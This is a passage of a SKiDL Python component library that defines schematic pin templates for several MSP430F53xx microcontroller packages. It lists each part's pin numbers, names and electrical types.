Pin(num='35',name='PM_NONE/P4.6',func=Pin.BIDIR,do_erc=True),
Pin(num='45',name='P5.2/XT2IN',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='PJ.3/TCK',func=Pin.BIDIR,do_erc=True),
Pin(num='36',name='PM_NONE/P4.7',func=Pin.BIDIR,do_erc=True),
Pin(num='46',name='P5.3/XT2OUT',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='DVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='37',name='VSSU',func=Pin.PWRIN,do_erc=True),
Pin(num='47',name='SBWTCK/TEST',do_erc=True),
Pin(num='18',name='TA0.3/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='DVCC2',func=Pin.PWRIN,do_erc=True),
Pin(num='38',name='PU.0',func=Pin.BIDIR,do_erc=True),
Pin(num='48',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='19',name='TA0.4/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='PM_UCB1STE/PM_UCA1CLK/P4.0',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F5304IRGZ',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='48pin QFN, 8KB Flash Memory, 6KB RAM',ref_prefix='U',num_units=1,do_erc=True,pins=[
Pin(num='1',name='P6.0/A0',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='P6.1/A1',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='P6.2/A2',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='P6.3/A3',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='P5.0/A8/VeREF+',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='P5.1/A9/VeREF-',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='AVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='8',name='P5.4/XIN',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P5.5/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='AVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='20',name='TA1CLK/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='PM_UCB1SIMO/PM_UCB1SDA/P4.1',func=Pin.BIDIR,do_erc=True),
Pin(num='40',name='PU.1',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='DVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='21',name='TA1.0/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='31',name='PM_UCB1SOMI/PM_UCB1SCL/P4.2',func=Pin.BIDIR,do_erc=True),
Pin(num='41',name='LDOI',func=Pin.PWRIN,do_erc=True),
Pin(num='12',name='DVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='22',name='TA1.1/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='PM_UCB1CLK/PM_UCA1STE/P4.3',func=Pin.BIDIR,do_erc=True),
Pin(num='42',name='LDOO',func=Pin.PWROUT,do_erc=True),
Pin(num='13',name='VCORE',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='PJ.0/TDO',func=Pin.BIDIR,do_erc=True),
Pin(num='33',name='PM_UCA1TXD/PM_UCA1SIMO/P4.4',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='ACLK/TA0CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='PJ.1/TDI/TCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='34',name='PM_UCA1RXD/PM_UCA1SOMI/P4.5',func=Pin.BIDIR,do_erc=True),
Pin(num='44',name='AVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='15',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='PJ.2/TMS',func=Pin.BIDIR,do_erc=True),
Pin(num='35',name='PM_NONE/P4.6',func=Pin.BIDIR,do_erc=True),
Pin(num='45',name='P5.2/XT2IN',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='PJ.3/TCK',func=Pin.BIDIR,do_erc=True),
Pin(num='36',name='PM_NONE/P4.7',func=Pin.BIDIR,do_erc=True),
Pin(num='46',name='P5.3/XT2OUT',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='DVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='37',name='VSSU',func=Pin.PWRIN,do_erc=True),
Pin(num='47',name='SBWTCK/TEST',do_erc=True),
Pin(num='18',name='TA0.3/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='DVCC2',func=Pin.PWRIN,do_erc=True),
Pin(num='38',name='PU.0',func=Pin.BIDIR,do_erc=True),
Pin(num='48',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='19',name='TA0.4/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='PM_UCB1STE/PM_UCA1CLK/P4.0',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F5308IPT',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='48pin LQFN, 32KB Flash Memory, 6KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F5309IPT', 'MSP430F5310IPT'],pins=[
Pin(num='1',name='P6.0/A0/CB0',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='P6.1/A1/CB1',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='P6.2/A2/CB2',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='P6.3/A3/CB3',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='P5.0/A8/VeREF+',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='P5.1/A9/VeREF-',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='AVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='8',name='P5.4/XIN',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P5.5/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='AVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='20',name='CBOUT/TA1CLK/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='PM_UCB1SIMO/PM_UCB1SDA/P4.1',func=Pin.BIDIR,do_erc=True),
Pin(num='40',name='PU.1',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='DVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='21',name='TA1.0/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='31',name='PM_UCB1SOMI/PM_UCB1SCL/P4.2',func=Pin.BIDIR,do_erc=True),
Pin(num='41',name='LDOI',func=Pin.PWRIN,do_erc=True),
Pin(num='12',name='DVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='22',name='TA1.1/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='PM_UCB1CLK/PM_UCA1STE/P4.3',func=Pin.BIDIR,do_erc=True),
Pin(num='42',name='LDOO',func=Pin.PWROUT,do_erc=True),
Pin(num='13',name='VCORE',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='PJ.0/TDO',func=Pin.BIDIR,do_erc=True),
Pin(num='33',name='PM_UCA1TXD/PM_UCA1SIMO/P4.4',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='ACLK/TA0CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='PJ.1/TDI/TCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='34',name='PM_UCA1RXD/PM_UCA1SOMI/P4.5',func=Pin.BIDIR,do_erc=True),
Pin(num='44',name='AVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='15',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='PJ.2/TMS',func=Pin.BIDIR,do_erc=True),
Pin(num='35',name='PM_NONE/P4.6',func=Pin.BIDIR,do_erc=True),
Pin(num='45',name='P5.2/XT2IN',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='PJ.3/TCK',func=Pin.BIDIR,do_erc=True),
Pin(num='36',name='PM_NONE/P4.7',func=Pin.BIDIR,do_erc=True),
Pin(num='46',name='P5.3/XT2OUT',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='DVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='37',name='VSSU',func=Pin.PWRIN,do_erc=True),
Pin(num='47',name='SBWTCK/TEST',do_erc=True),
Pin(num='18',name='TA0.3/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='DVCC2',func=Pin.PWRIN,do_erc=True),
Pin(num='38',name='PU.0',func=Pin.BIDIR,do_erc=True),
Pin(num='48',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='19',name='TA0.4/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='PM_UCB1STE/PM_UCA1CLK/P4.0',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F5308IRGC',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='64pin QFN, 32KB Flash Memory, 6KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F5309IRGC', 'MSP430F5310IRGC'],pins=[
Pin(num='1',name='P6.0/CB0/A0',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='P6.1/CB1/A1',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='P6.2/CB2/A2',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='P6.3/CB3/A3',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='P6.4/CB4/A4',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='P6.5/CB5/A5',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='P6.6/CB6/A6',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P6.7/CB7/A7',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P5.0/A8/VeREF+',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P5.1/A9/VeREF-',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='TA2.1/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='40',name='DVCC2',func=Pin.PWRIN,do_erc=True),
Pin(num='50',name='PU.0',func=Pin.BIDIR,do_erc=True),
Pin(num='60',name='PJ.0/TDO',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='AVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='21',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='31',name='TA2.2/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='41',name='PM_UCB1STE/PM_UCA1CLK/P4.0',func=Pin.BIDIR,do_erc=True),
Pin(num='61',name='PJ.1/TDI/TCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P5.4/XIN',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='TA0.3/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='RTCCLK/DMAE0/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='42',name='PM_UCB1SIMO/PM_UCB1SDA/P4.1',func=Pin.BIDIR,do_erc=True),
Pin(num='52',name='PU.1',func=Pin.BIDIR,do_erc=True),
Pin(num='62',name='PJ.2/TMS',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P5.5/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='TA0.4/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='33',name='UCB0STE/UCA0CLK/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='43',name='PM_UCB1SOMI/PM_UCB1SCL/P4.2',func=Pin.BIDIR,do_erc=True),
Pin(num='53',name='LDOI',func=Pin.PWRIN,do_erc=True),
Pin(num='63',name='PJ.3/TCK',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='AVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='24',name='CBOUT/TA1CLK/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='34',name='UCB0SIMO/UCB0SDA/P3.0',func=Pin.BIDIR,do_erc=True),
Pin(num='44',name='PM_UCB1CLK/PM_UCA1STE/P4.3',func=Pin.BIDIR,do_erc=True),
Pin(num='54',name='LDOO',func=Pin.PWROUT,do_erc=True),
Pin(num='64',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='15',name='DVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='25',name='TA1.0/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='35',name='UCB0SOMI/UCB0SCL/P3.1',func=Pin.BIDIR,do_erc=True),
Pin(num='45',name='PM_UCA1TXD/PM_UCA1SIMO/P4.4',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='DVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='26',name='TA1.1/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='36',name='UCB0CLK/UCA0STE/P3.2',func=Pin.BIDIR,do_erc=True),
Pin(num='46',name='PM_UCA1RXD/PM_UCA1SOMI/P4.5',func=Pin.BIDIR,do_erc=True),
Pin(num='56',name='AVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='17',name='VCORE',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='TA1.2/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='37',name='UCA0TXD/UCA0SIMO/P3.3',func=Pin.BIDIR,do_erc=True),
Pin(num='47',name='PM_NONE/P4.6',func=Pin.BIDIR,do_erc=True),
Pin(num='57',name='P5.2/XT2IN',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='ACLK/TA0CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='SMCLK/TA2CLK/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='38',name='UCA0RXD/UCA0SOMI/P3.4',func=Pin.BIDIR,do_erc=True),
Pin(num='48',name='PM_NONE/P4.7',func=Pin.BIDIR,do_erc=True),
Pin(num='58',name='P5.3/XT2OUT',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='TA2.0/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='39',name='DVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='49',name='VSSU',func=Pin.PWRIN,do_erc=True),
Pin(num='59',name='SBWTCK/TEST',do_erc=True)]),
Part(name='MSP430F5308IRGZ',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='48pin QFN, 32KB Flash Memory, 6KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F5309IRGZ', 'MSP430F5310IRGZ'],pins=[
Pin(num='1',name='P6.0/A0/CB0',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='P6.1/A1/CB1',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='P6.2/A2/CB2',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='P6.3/A3/CB3',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='P5.0/A8/VeREF+',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='P5.1/A9/VeREF-',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='AVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='8',name='P5.4/XIN',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P5.5/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='AVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='20',name='CBOUT/TA1CLK/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='PM_UCB1SIMO/PM_UCB1SDA/P4.1',func=Pin.BIDIR,do_erc=True),
Pin(num='40',name='PU.1',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='DVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='21',name='TA1.0/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='31',name='PM_UCB1SOMI/PM_UCB1SCL/P4.2',func=Pin.BIDIR,do_erc=True),
Pin(num='41',name='LDOI',func=Pin.PWRIN,do_erc=True),
Pin(num='12',name='DVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='22',name='TA1.1/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='PM_UCB1CLK/PM_UCA1STE/P4.3',func=Pin.BIDIR,do_erc=True),
Pin(num='42',name='LDOO',func=Pin.PWROUT,do_erc=True),
Pin(num='13',name='VCORE',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='PJ.0/TDO',func=Pin.BIDIR,do_erc=True),
Pin(num='33',name='PM_UCA1TXD/PM_UCA1SIMO/P4.4',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='ACLK/TA0CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='PJ.1/TDI/TCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='34',name='PM_UCA1RXD/PM_UCA1SOMI/P4.5',func=Pin.BIDIR,do_erc=True),
Pin(num='44',name='AVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='15',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='PJ.2/TMS',func=Pin.BIDIR,do_erc=True),
Pin(num='35',name='PM_NONE/P4.6',func=Pin.BIDIR,do_erc=True),
Pin(num='45',name='P5.2/XT2IN',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='PJ.3/TCK',func=Pin.BIDIR,do_erc=True),
Pin(num='36',name='PM_NONE/P4.7',func=Pin.BIDIR,do_erc=True),
Pin(num='46',name='P5.3/XT2OUT',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='DVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='37',name='VSSU',func=Pin.PWRIN,do_erc=True),
Pin(num='47',name='SBWTCK/TEST',do_erc=True),
Pin(num='18',name='TA0.3/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='DVCC2',func=Pin.PWRIN,do_erc=True),
Pin(num='38',name='PU.0',func=Pin.BIDIR,do_erc=True),
Pin(num='48',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='19',name='TA0.4/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='PM_UCB1STE/PM_UCA1CLK/P4.0',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F5308IZQE',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='80ball BGA, 32KB Flash Memory, 6KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F5309IZQE', 'MSP430F5310IZQE'],pins=[
Pin(num='A1',name='P6.0/CB0/A0',func=Pin.BIDIR,do_erc=True),
Pin(num='B1',name='P6.2/CB2/A2',func=Pin.BIDIR,do_erc=True),
Pin(num='C1',name='P6.4/CB4/A4',func=Pin.BIDIR,do_erc=True),
Pin(num='D1',name='P6.6/CB6/A6',func=Pin.BIDIR,do_erc=True),
Pin(num='E1',name='P5.0/A8/VeREF+',func=Pin.BIDIR,do_erc=True),
Pin(num='F1',name='P5.4/XIN',func=Pin.BIDIR,do_erc=True),
Pin(num='G1',name='P5.5/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='H1',name='DVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='J1',name='DVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='A2',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='B2',name='P6.1/CB1/A1',func=Pin.BIDIR,do_erc=True),
Pin(num='C2',name='P6.3/CB3/A3',func=Pin.BIDIR,do_erc=True),
Pin(num='D2',name='P6.5/CB5/A5',func=Pin.BIDIR,do_erc=True),
Pin(num='E2',name='P5.1/A9/VeREF-',func=Pin.BIDIR,do_erc=True),
Pin(num='F2',name='AVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='G2',name='AVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='H2',name='ACLK/TA0CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='J2',name='VCORE',func=Pin.BIDIR,do_erc=True),
Pin(num='A3',name='PJ.2/TMS',func=Pin.BIDIR,do_erc=True),
Pin(num='B3',name='PJ.3/TCK',func=Pin.BIDIR,do_erc=True),
Pin(num='D3',name='P6.7/CB7/A7',func=Pin.BIDIR,do_erc=True),
Pin(num='E3',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='F3',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='G3',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='H3',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='J3',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='A4',name='SBWTCK/TEST',do_erc=True),
Pin(num='B4',name='P5.3/XT2OUT',func=Pin.BIDIR,do_erc=True),
Pin(num='C4',name='PJ.1/TDI/TCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='D4',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='E4',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='F4',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='G4',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='H4',name='TA0.3/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='J4',name='TA0.4/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='A5',name='AVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='B5',name='P5.2/XT2IN',func=Pin.BIDIR,do_erc=True),
Pin(num='C5',name='PJ.0/TDO',func=Pin.BIDIR,do_erc=True),
Pin(num='D5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='E5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='F5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='G5',name='CBOUT/TA1CLK/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='H5',name='TA1.0/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='J5',name='TA1.1/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='A6',name='LDOO',func=Pin.PWROUT,do_erc=True),
Pin(num='C6',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='D6',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='E6',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='F6',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='G6',name='TA1.2/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='H6',name='TA2.0/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='J6',name='SMCLK/TA2CLK/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='A7',name='LDOI',func=Pin.PWRIN,do_erc=True),
Pin(num='C7',name='PM_NONE/P4.7',func=Pin.BIDIR,do_erc=True),
Pin(num='D7',name='PM_UCA1TXD/PM_UCA1SIMO/P4.4',func=Pin.BIDIR,do_erc=True),
Pin(num='E7',name='PM_UCB1SIMO/PM_UCB1SDA/P4.1',func=Pin.BIDIR,do_erc=True),
Pin(num='F7',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='G7',name='UCA0RXD/UCA0SOMI/P3.4',func=Pin.BIDIR,do_erc=True),
Pin(num='H7',name='UCB0STE/UCA0CLK/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='J7',name='TA2.1/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='A8',name='PU.1',func=Pin.BIDIR,do_erc=True),
Pin(num='B8',name='VSSU',func=Pin.PWRIN,do_erc=True),
Pin(num='C8',name='PM_NONE/P4.6',func=Pin.BIDIR,do_erc=True),
Pin(num='D8',name='PM_UCB1CLK/PM_UCA1STE/P4.3',func=Pin.BIDIR,do_erc=True),
Pin(num='E8',name='PM_UCB1STE/PM_UCA1CLK/P4.0',func=Pin.BIDIR,do_erc=True),
Pin(num='F8',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='G8',name='UCB0CLK/UCA0STE/P3.2',func=Pin.BIDIR,do_erc=True),
Pin(num='H8',name='UCB0SIMO/UCB0SDA/P3.0',func=Pin.BIDIR,do_erc=True),
Pin(num='J8',name='TA2.2/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='A9',name='PU.0',func=Pin.BIDIR,do_erc=True),
Pin(num='B9',name='VSSU',func=Pin.PWRIN,do_erc=True),
Pin(num='C9',name='PM_UCA1RXD/PM_UCA1SOMI/P4.5',func=Pin.BIDIR,do_erc=True),
Pin(num='D9',name='PM_UCB1SOMI/PM_UCB1SCL/P4.2',func=Pin.BIDIR,do_erc=True),
Pin(num='E9',name='DVCC2',func=Pin.PWRIN,do_erc=True),
Pin(num='F9',name='DVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='G9',name='UCA0TXD/UCA0SIMO/P3.3',func=Pin.BIDIR,do_erc=True),
Pin(num='H9',name='UCB0SOMI/UCB0SCL/P3.1',func=Pin.BIDIR,do_erc=True),
Pin(num='J9',name='RTCCLK/DMAE0/P2.6',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F5333IPZ',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='100pin VQFP, 256KB Flash Memory, 18KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F5335IPZ'],pins=[
Pin(num='1',name='P6.4/CB4/A4',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='P6.5/CB5/A5',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='P6.6/CB6/A6',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='P6.7/CB7/A7',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='P7.4/CB8/A12',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='P7.5/CB9/A13',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='P7.6/CB10/A14',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P7.7/CB11/A15',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='VREF+/VeREF+/P5.0',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='VREF-/VeREF-/P5.1',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='P2MAP3/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='40',name='TA0.1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='50',name='TB0.0/P4.0',func=Pin.BIDIR,do_erc=True),
Pin(num='60',name='P8.2/UCA1TXD/UCA1SIMO',func=Pin.BIDIR,do_erc=True),
Pin(num='70',name='P9.2',func=Pin.BIDIR,do_erc=True),
Pin(num='80',name='LDOI',func=Pin.BIDIR,do_erc=True),
Pin(num='90',name='DVSS3',func=Pin.PWRIN,do_erc=True),
Pin(num='11',name='AVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='21',name='P2MAP4/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='31',name='P5.3',func=Pin.BIDIR,do_erc=True),
Pin(num='41',name='TA0.2/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='51',name='TB0.1/P4.1',func=Pin.BIDIR,do_erc=True),
Pin(num='61',name='P8.3/UCA1RXD/UCA1SOMI',func=Pin.BIDIR,do_erc=True),
Pin(num='71',name='P9.3',func=Pin.BIDIR,do_erc=True),
Pin(num='81',name='LDOO',func=Pin.BIDIR,do_erc=True),
Pin(num='91',name='TEST/SBWTCK',do_erc=True),
Pin(num='12',name='AVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='22',name='P2MAP5/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='P5.4',func=Pin.BIDIR,do_erc=True),
Pin(num='42',name='TA1CLK/CBOUT/P3.0',func=Pin.BIDIR,do_erc=True),
Pin(num='52',name='TB0.2/P4.2',func=Pin.BIDIR,do_erc=True),
Pin(num='62',name='P8.4/UCB1CLK/UCA1STE',func=Pin.BIDIR,do_erc=True),
Pin(num='72',name='P9.4',func=Pin.BIDIR,do_erc=True),
Pin(num='92',name='PJ.0/TDO',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='XIN',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='P2MAP6/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='33',name='P5.5',func=Pin.BIDIR,do_erc=True),
Pin(num='43',name='TA1.0/P3.1',func=Pin.BIDIR,do_erc=True),
Pin(num='53',name='TB0.3/P4.3',func=Pin.BIDIR,do_erc=True),
Pin(num='63',name='DVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='73',name='P9.5',func=Pin.BIDIR,do_erc=True),
Pin(num='83',name='AVSS3',func=Pin.PWRIN,do_erc=True),
Pin(num='93',name='PJ.1/TDI/TCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='P2MAP7/P2.7',func=Pin.BIDIR,do_erc=True),
